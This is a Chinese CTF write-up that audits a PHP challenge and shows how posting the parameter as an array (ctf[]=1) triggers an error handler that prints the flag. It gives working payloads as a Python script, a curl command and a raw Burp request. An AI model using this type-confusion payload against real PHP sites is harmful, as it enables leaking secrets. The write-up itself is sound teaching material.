-
- 前置知识
- 正文
-
- 一、PHP代码审计
-
- [1. 时间判断分支(此路不通)](#1. 时间判断分支(此路不通))
- [2. 自定义错误处理(突破口)](#2. 自定义错误处理(突破口))
- [二、构造 Payload](#二、构造 Payload)
-
- [1、python发送请求获取 Flag](#1、python发送请求获取 Flag)
- [2、使用 curl 命令](#2、使用 curl 命令)
- 3、使用burpsuit
前置知识
python正则表达式
-
CTF2\{→ 精准匹配字面文本CTF2{{在正则里是特殊符号,所以加反斜杠\{表示普通左大括号。 -
[^}]+→ 核心重点,分开两层理解[^ ]开头的^= 取反!+:匹配 1 个及以上字符 -
[^}]翻译:匹配任意一个 不是
}的字符
⚠注意:只有写在
[紧跟后面第一位才代表取反!如果
^不在[]内部,含义完全不同。
[] 叫【字符集】
[xyz]:匹配括号里任意一个字符,x 或 y 或 z。
正文
一、PHP代码审计
访问目标地址后,页面直接展示了完整的 PHP 源码(使用 highlight_file(__FILE__))标记:

php
<?php
highlight_file(__FILE__);
include "fl4g.php"; // 引入 fl4g.php,里面定义了 $fl4g(就是 flag)
$dest0g3 = $_POST['ctf']; // 从 POST 参数 ctf 获取用户输入
$time = date("H"); // 当前小时 (00-23)
$timme = date("d"); // 当前日期 (01-31)
$timmme = date("i"); // 当前分钟 (00-59)
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g; // 如果时间条件成立,直接输出 flag
}else{
echo "Try harder!"; // 否则输出 "Try harder!"
}
set_error_handler(
function() use (&$fl4g) { // 注册自定义错误处理函数
print $fl4g; // 触发错误时打印 $fl4g(flag)
}
);
$fl4g .= $dest0g3; // 将用户输入拼接到 $fl4g 后面
?>
逐行分析代码可以找到两个值得注意的点:
1. 时间判断分支(此路不通)
php
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}
date("H")返回当前小时,范围00~23,永远不可能> "24"date("d")返回当前日期,范围01~31,永远不可能> "31"date("i")返回当前分钟,范围00~59,永远不可能> "60"
结论 : 这个
if的条件永远不可能为真,"正常"流程永远走不到echo $fl4g。
2. 自定义错误处理(突破口)
php
set_error_handler(
function() use (&$fl4g) {
print $fl4g; // 触发错误时打印 flag
}
);
$fl4g .= $dest0g3; // 这里可能触发错误!
关键知识点:
set_error_handler()可以注册一个自定义函数,当 PHP 发生错误时自动调用use (&$fl4g)表示闭包通过引用捕获$fl4g变量,可以访问到它的值.=操作符 是字符串拼接,但如果右侧操作数不是字符串会怎样?
当 $dest0g3(即 $_POST['ctf'])是数组时:
php
$fl4g .= $dest0g3; // 相当于 $fl4g = $fl4g . $dest0g3
在 PHP 中,字符串 . 数组 会触发一个 Notice 级别 的错误:
Notice: Array to string conversion
这个错误会被 set_error_handler 注册的函数捕获,于是错误处理函数执行 print $fl4g,将 flag 打印出来。
二、构造 Payload
核心思路:让 $_POST['ctf'] 变成数组。
在 HTTP POST 请求中,给参数名加 [] 就可以传递数组:
ctf[]=1
这样 PHP 收到后 $_POST['ctf'] 就是一个数组 ['1'],而不是字符串。
1、python发送请求获取 Flag
python
# 导入urllib.request模块:用于构造HTTP请求、发送网络访问(Python内置HTTP客户端)
import urllib.request
# 导入urllib.parse模块:专门处理URL编码、参数序列化
import urllib.parse
# 目标CTF靶站URL地址
url = 'XXXX'
# urlencode:把参数列表转换成URL表单编码格式
# [('ctf[]', '1')] 代表表单参数:参数名 ctf[],值 1
# 编码结果:ctf%5B%5D=1
# .encode() 将字符串转为bytes字节流,POST提交必须使用字节类型
data = urllib.parse.urlencode([('ctf[]', '1')]).encode()
# Request对象:封装HTTP请求
# url:访问地址,data不为空时,请求方法自动变为 POST
req = urllib.request.Request(url, data=data)
# 发起网络请求,等待服务器返回响应
resp = urllib.request.urlopen(req)
# resp.read() 读取服务器返回的原始二进制响应内容
# decode('utf-8') 将二进制转为可读字符串
# errors='replace':遇到无法解析的字符不会直接崩溃,替换为乱码占位符,增强脚本稳定性
body = resp.read().decode('utf-8', errors='replace')
# 导入正则模块,用于从网页源码里匹配flag
import re
# 正则表达式 r'CTF2\{[^}]+\}'
# r原始字符串,避免转义冲突
# CTF2\{ 匹配固定开头 CTF2{
# [^}]+ 匹配任意非}字符(捕获flag主体内容)
# \} 匹配结尾 }
match = re.search(r'CTF2\{[^}]+\}', body)
# 判断正则是否匹配成功
if match:
# group() 取出正则捕获到的完整字符串,打印flag
print('Flag:', match.group())
else:
# 没有搜到flag,输出全部网页源码方便排查问题
print('未找到 flag,完整响应如下:')
print(body)

2、使用 curl 命令
bash
curl -X POST http://目标地址/ -d 'ctf[]=1'

3、使用burpsuit
- 打开 Burp Suite,发送到 Repeater
- 构造 POST 请求:
html
POST / HTTP/1.1
Host: 目标地址
Content-Type: application/x-www-form-urlencoded
ctf[]=1
- 发送即可在响应末尾看到 flag
